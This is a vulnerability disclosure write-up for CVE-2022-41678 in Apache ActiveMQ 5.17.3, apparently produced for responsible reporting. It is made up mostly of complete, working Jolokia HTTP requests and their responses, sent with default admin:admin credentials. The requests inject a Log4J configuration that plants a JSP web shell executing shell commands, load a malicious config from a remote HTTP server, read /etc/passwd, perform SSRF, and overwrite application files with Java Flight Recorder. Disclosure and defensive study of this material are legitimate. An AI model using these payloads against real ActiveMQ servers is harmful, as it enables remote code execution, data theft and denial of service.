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Environment: 
- Apache ActiveMQ 5.17.3 
- Ubuntu Linux 

 

 
 

 
Setup: 
In order to setup the environment on an Ubuntu Linux machine the following command 
were run: 

wget ' https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.17.3/apache-activemq-
5.17.3-bin.tar.gz&action=download' -O apache-activemq-5.17.3.tar.gz 
tar -xzvf apache-activemq-5.17.3.tar.gz 
cd apache-activemq-5.17.3/bin 
./activemq start  

  



Findings: 

1. CVE-2022-41678: Dangerous MBeans Accessible via Jolokia API 
 
Description: 
By listing and inspecting the MBeans exposed by the Jolokia API at 
“http://127.0.0.1:8161/api/jolokia” the following attack vectors have been identified: 

• Arbitrary File Write using Log4J resulting in Remote Code Execution 
• Arbitrary File Read using Log4J 
• SSRF using Log4J 
• Arbitrary File Overwrite using Java Flight Recorder 

 
This vulnerability can be exploited by a local attacker that knows the basic authentication 
credentials (by default “admin:admin”) used by the ActiveMQ web interface. 
 
Proof of Concept: 
1.1. Arbitrary File Write using Log4J resulting in Remote Code Execution 

By modifying the Log4J configurations via the Jolokia API, an attacker is able to write 
arbitrary content into arbitrary file locations, which, if performed correctly, can allow an 
attacker to obtain RCE (Remote Code Execution) and/or LPE (Local Privilege Escalation) 
by writing an arbitrary JSP file in ActiveMQ’s webserver path (“../webapps/admin/”). 
 
By using the Jolokia list functionality we identified the MBean 
“org.apache.logging.log4j2:type=2b9627bc” that exposes 2 vectors through which the 
runtime Log4J config can be modified: 

• The “setConfigText(java.lang.String, java.lang.String)” Function 
• The Writable “ConfigLocationUri” Attribute 

 
Note: The identifier “2b9627bc” represents the “contextName” of the Log4J object and 
may change. Use “http://127.0.0.1:8161/api/jolokia/list” to identify the correct id. 

 
1.1.1. The “setConfigText(java.lang.String, java.lang.String)” Function 

The “setConfigText(java.lang.String, java.lang.String)” can be used directly to set the 
Log4J configuration with a malicious one. 
 
In this case we will set Log4J to log “Debug” type events and write a static pattern, 
containing our malicious JSP expression (in this case it will run the Linux “id” system 
command and write the output to a location accessible by the attacker) into the 
“../webapps/admin/mal.jsp” file. 
 

  



Jolokia Request: 
POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 731 
 
{ 
 "type": "exec", 
 "mbean": "org.apache.logging.log4j2:type=2b9627bc", 
 "operation" : "setConfigText", 
"arguments":[ 
"<?xml version=\"1.0\" encoding=\"UTF-8\"?> 
    <Configuration status=\"debug\" name=\"MyApp\" packages=\"\"> 
      <Appenders> 
        <File name=\"MyFile\" fileName=\"../webapps/admin/mal.jsp\"> 
          <PatternLayout> 
<Pattern> 
<![CDATA[ 
<% Runtime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", 
\"id>../webapps/admin/cmd.out\" }); %>win' 
<br/> 
]]> 
</Pattern> 
          </PatternLayout> 
        </File> 
      </Appenders> 
      <Loggers> 
        <Root level=\"debug\"> 
          <AppenderRef ref=\"MyFile\"/> 
        </Root> 
      </Loggers> 
    </Configuration>", 
"utf-8"] 
} 

 
Response: 

HTTP/1.1 200 OK 
Date: Fri, 20 Jan 2023 11:00:24 GMT 
X-FRAME-OPTIONS: SAMEORIGIN 
X-XSS-Protection: 1; mode=block 
X-Content-Type-Options: nosniff 
Access-Control-Allow-Origin: a 
Access-Control-Allow-Credentials: true 
Content-Type: text/plain;charset=utf-8 
Cache-Control: no-cache 
Pragma: no-cache 
Expires: Fri, 20 Jan 2023 10:00:24 GMT 
Content-Length: 826 
 
{"request":{"mbean":"org.apache.logging.log4j2:type=2b9627bc","arguments":["<?xml 
version=\"1.0\" encoding=\"UTF-8\"?>\r\n    <Configuration status=\"debug\" 
name=\"MyApp\" packages=\"\">\r\n      <Appenders>\r\n        <File name=\"MyFile\" 
fileName=\"..\/webapps\/admin\/mal.jsp\">\r\n          
<PatternLayout>\r\n<Pattern>\r\n<![CDATA[\r\n<% Runtime.getRuntime().exec(new String[] { 
\"\/bin\/sh\", \"-c\", \"id>..\/webapps\/admin\/cmd.out\" }); 
%>win'\r\n<br\/>\r\n]]>\r\n<\/Pattern>\r\n          <\/PatternLayout>\r\n        
<\/File>\r\n      <\/Appenders>\r\n      <Loggers>\r\n        <Root level=\"debug\">\r\n          
<AppenderRef ref=\"MyFile\"\/>\r\n        <\/Root>\r\n      <\/Loggers>\r\n    
<\/Configuration>","utf-
8"],"type":"exec","operation":"setConfigText"},"value":null,"timestamp":1674212424,"stat
us":200} 

 
  



1.1.2. The Writable “ConfigLocationUri” Attribute 
If the “exec” type requests are restricted in Jolokia, then we can use a “write” 
request to replace the Log4J “ConfigLocationUri” attribute in order to load a remote 
configuration via HTTP, FTP, etc. 

 
We will set up an HTTP server hosting the following “mal.xml” file: 

<?xml version="1.0" encoding="UTF-8"?> 
    <Configuration status="debug" name="MyApp" packages=""> 
      <Appenders> 
        <File name="MyFile" fileName="../webapps/admin/mal.jsp"> 
          <PatternLayout> 
<Pattern> 
<![CDATA[ 
<% Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", 
"id>../webapps/admin/cmd.out" }); %>win' 
<br/> 
]]> 
</Pattern> 
          </PatternLayout> 
        </File> 
      </Appenders> 
      <Loggers> 
        <Root level="debug"> 
          <AppenderRef ref="MyFile"/> 
        </Root> 
      </Loggers> 
    </Configuration> 

 
With the HTTP server and Log4J config set up at “http://127.0.0.1:4444/mal.xml” we 
can proceed to make the following Jolokia request: 

POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 152 
 
{ 
 "type": "write", 
 "mbean": "org.apache.logging.log4j2:type=2b9627bc", 
"attribute":"ConfigLocationUri", 
"value":"http://127.0.0.1:4444/mal.xml" 

} 

 
Response: 

HTTP/1.1 200 OK 
Date: Fri, 20 Jan 2023 11:41:59 GMT 
X-FRAME-OPTIONS: SAMEORIGIN 
X-XSS-Protection: 1; mode=block 
X-Content-Type-Options: nosniff 
Access-Control-Allow-Origin: a 
Access-Control-Allow-Credentials: true 
Content-Type: text/plain;charset=utf-8 
Cache-Control: no-cache 
Pragma: no-cache 
Expires: Fri, 20 Jan 2023 10:41:59 GMT 
Content-Length: 280 
 
{"request":{"mbean":"org.apache.logging.log4j2:type=2b9627bc","attribute":"ConfigLocatio
nUri","type":"write","value":"http:\/\/127.0.0.1:4444\/mal.xml"},"value":"file:\/home\/g
uest\/Desktop\/Apache_ActiveMQ\/apache-activemq-
5.17.3\/bin\/MyApp","timestamp":1674214919,"status":200} 

 
  



If successful the attacker should see the “mal.xml” file requested over HTTP: 

 
 

If any of the above attacks were preformed correctly, we should be able to access the 
“mal.jsp” file at “http://127.0.0.1:8161/admin/mal.jsp”. 
 
Browser View Triggering the RCE: 

 
 
Note: Because there were multiple debug logging actions the malicious JSP pattern was 
written multiple times to the target file. This should be taken into account when 
executing more complex system commands. 
 
Browser View Reading RCE Output: 

 
 
 
  



1.2. Arbitrary File Read using Log4J 
The Log4J “ConfigLocationUri” attribute can be used with a “file://” URL in order to read 
arbitrary files on the target system. 
 
Set “ConfigLocationUri” to “file:///etc/passwd” Request: 

POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 141 
 
{ 
 "type": "write", 
 "mbean": "org.apache.logging.log4j2:type=2b9627bc", 
"attribute":"ConfigLocationUri", 
"value":"file:///etc/passwd" 

} 

 
Response: 

HTTP/1.1 200 OK 
Date: Fri, 20 Jan 2023 11:56:24 GMT 
X-FRAME-OPTIONS: SAMEORIGIN 
X-XSS-Protection: 1; mode=block 
X-Content-Type-Options: nosniff 
Access-Control-Allow-Origin: a 
Access-Control-Allow-Credentials: true 
Content-Type: text/plain;charset=utf-8 
Cache-Control: no-cache 
Pragma: no-cache 
Expires: Fri, 20 Jan 2023 10:56:24 GMT 
Content-Length: 190 
 
{"request":{"mbean":"org.apache.logging.log4j2:type=2b9627bc","attribute":"ConfigLocatio
nUri","type":"write","value":"file:\/\/\/etc\/passwd"},"value":"","timestamp":1674215784
,"status":200} 

 
Read File Request: 

POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 76 
 
{ 
 "type": "read", 
 "mbean": "org.apache.logging.log4j2:type=2b9627bc", 
} 

 
Read File Response: 

HTTP/1.1 200 OK 
Date: Fri, 20 Jan 2023 12:00:11 GMT 
X-FRAME-OPTIONS: SAMEORIGIN 
X-XSS-Protection: 1; mode=block 
X-Content-Type-Options: nosniff 
Access-Control-Allow-Origin: a 
Access-Control-Allow-Credentials: true 
Content-Type: text/plain;charset=utf-8 
Cache-Control: no-cache 
Pragma: no-cache 
Expires: Fri, 20 Jan 2023 11:00:11 GMT 
Content-Length: 4026 
 
{"request":{"mbean":"org.apache.logging.log4j2:type=2b9627bc","type":"read"},"value":{"S
tatus":"STARTED","ConfigClassName":"org.apache.logging.log4j.core.config.xml.XmlConfigur
ation","ConfigLocationUri":"file:\/home\/guest\/Desktop\/Apache_ActiveMQ\/apache-
activemq-
5.17.3\/bin\/Default@2da5b3af","ConfigName":"Default@2da5b3af","ConfigProperties":{"host
Name":"tester","contextName":"2b9627bc"},"ConfigText":"root:x:0:0:root:\/root:\/bin\/bas
h\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin



\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sy
nc\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/m
an:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:
mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/n
ologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\
/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-
data:\/var\/www:\/usr\/sbin\/nologin\n***TRUNCATED*** 
","Name":"2b9627bc","ObjectName":{"objectName":"org.apache.logging.log4j2:type=2b9627bc"
},"ConfigFilter":"null"},"timestamp":1674216011,"status":200} 

 
 
1.3. SSRF using Log4J 

In some scenarios, the “ConfigLocationUri” could also be used by attackers to launch 
Server-Side Request Forgery attacks. 
 
SSRF Request: 

POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 154 
 
{ 
 "type": "write", 
 "mbean": "org.apache.logging.log4j2:type=2b9627bc", 
"attribute":"ConfigLocationUri", 
"value":"http://127.0.0.1:4444/ssrf_test" 

} 

 
Result: 

 
 
 

1.4. Arbitrary File Overwrite using Java Flight Recorder 
Although, in this case, we cannot control the output of the JFR recording file, we are able 
to overwrite sensitive files which will result in Denial of Service (DoS) attacks. 
 
The following notable DoS attacks have been identified: 

• Preventing legitimate users from using the ActiveMQ Web application by 
overwriting HTML and JSP files in the “../webapps/*” and 
“../webapps/admin/*” locations 

• Crashing the ActiveMQ applications when the server is restarted by 
overwriting configs in “../conf/*” 

• Preventing the ActiveMQ applications from starting-up after restart by 
overwriting “../bin/*” 

 
  



Example Requests for overwriting “../webapps/admin/index.jsp”: 
 
Request 1: 

POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 125 
 
{ 
 "type": "exec", 
 "mbean": "jdk.management.jfr:type=FlightRecorder", 
 "operation" : "newRecording", 
"arguments":[] 
} 

 
Response 1: 

HTTP/1.1 200 OK 
Date: Fri, 20 Jan 2023 12:12:14 GMT 
X-FRAME-OPTIONS: SAMEORIGIN 
X-XSS-Protection: 1; mode=block 
X-Content-Type-Options: nosniff 
Access-Control-Allow-Origin: a 
Access-Control-Allow-Credentials: true 
Content-Type: text/plain;charset=utf-8 
Cache-Control: no-cache 
Pragma: no-cache 
Expires: Fri, 20 Jan 2023 11:12:14 GMT 
Content-Length: 149 
 
{"request":{"mbean":"jdk.management.jfr:type=FlightRecorder","type":"exec","operation":"
newRecording"},"value":1,"timestamp":1674216734,"status":200} 

 
Request 2: 

POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 130 
 
{ 
 "type": "exec", 
 "mbean": "jdk.management.jfr:type=FlightRecorder", 
 "operation" : "startRecording", 
"arguments":[ 
1] 

} 

 
Response 2: 

HTTP/1.1 200 OK 
Date: Fri, 20 Jan 2023 12:13:37 GMT 
X-FRAME-OPTIONS: SAMEORIGIN 
X-XSS-Protection: 1; mode=block 
X-Content-Type-Options: nosniff 
Access-Control-Allow-Origin: a 
Access-Control-Allow-Credentials: true 
Content-Type: text/plain;charset=utf-8 
Cache-Control: no-cache 
Pragma: no-cache 
Expires: Fri, 20 Jan 2023 11:13:37 GMT 
Content-Length: 170 
 
{"request":{"mbean":"jdk.management.jfr:type=FlightRecorder","arguments":[1],"type":"exe
c","operation":"startRecording"},"value":null,"timestamp":1674216817,"status":200} 

 
  



Request 3 - Overwrite: 
POST /api/jolokia HTTP/1.1 
Host: 127.0.0.1:8161 
Authorization: Basic YWRtaW46YWRtaW4= 
Origin: a 
Content-Length: 174 
 
{ 
 "type": "exec", 
 "mbean": "jdk.management.jfr:type=FlightRecorder", 
 "operation" : "copyTo(long,java.lang.String)", 
"arguments":[ 
1, 
"../webapps/admin/index.jsp"] 

} 

 
Response 3: 

HTTP/1.1 200 OK 
Date: Fri, 20 Jan 2023 12:13:40 GMT 
X-FRAME-OPTIONS: SAMEORIGIN 
X-XSS-Protection: 1; mode=block 
X-Content-Type-Options: nosniff 
Access-Control-Allow-Origin: a 
Access-Control-Allow-Credentials: true 
Content-Type: text/plain;charset=utf-8 
Cache-Control: no-cache 
Pragma: no-cache 
Expires: Fri, 20 Jan 2023 11:13:40 GMT 
Content-Length: 217 
 
{"request":{"mbean":"jdk.management.jfr:type=FlightRecorder","arguments":[1,"..\/webapps
\/admin\/index.jsp"],"type":"exec","operation":"copyTo(long,java.lang.String)"},"value":
null,"timestamp":1674216820,"status":200} 

 
Index.jsp Before Overwrite: 

 
 

  



Index.jsp After Overwrite: 

 
 


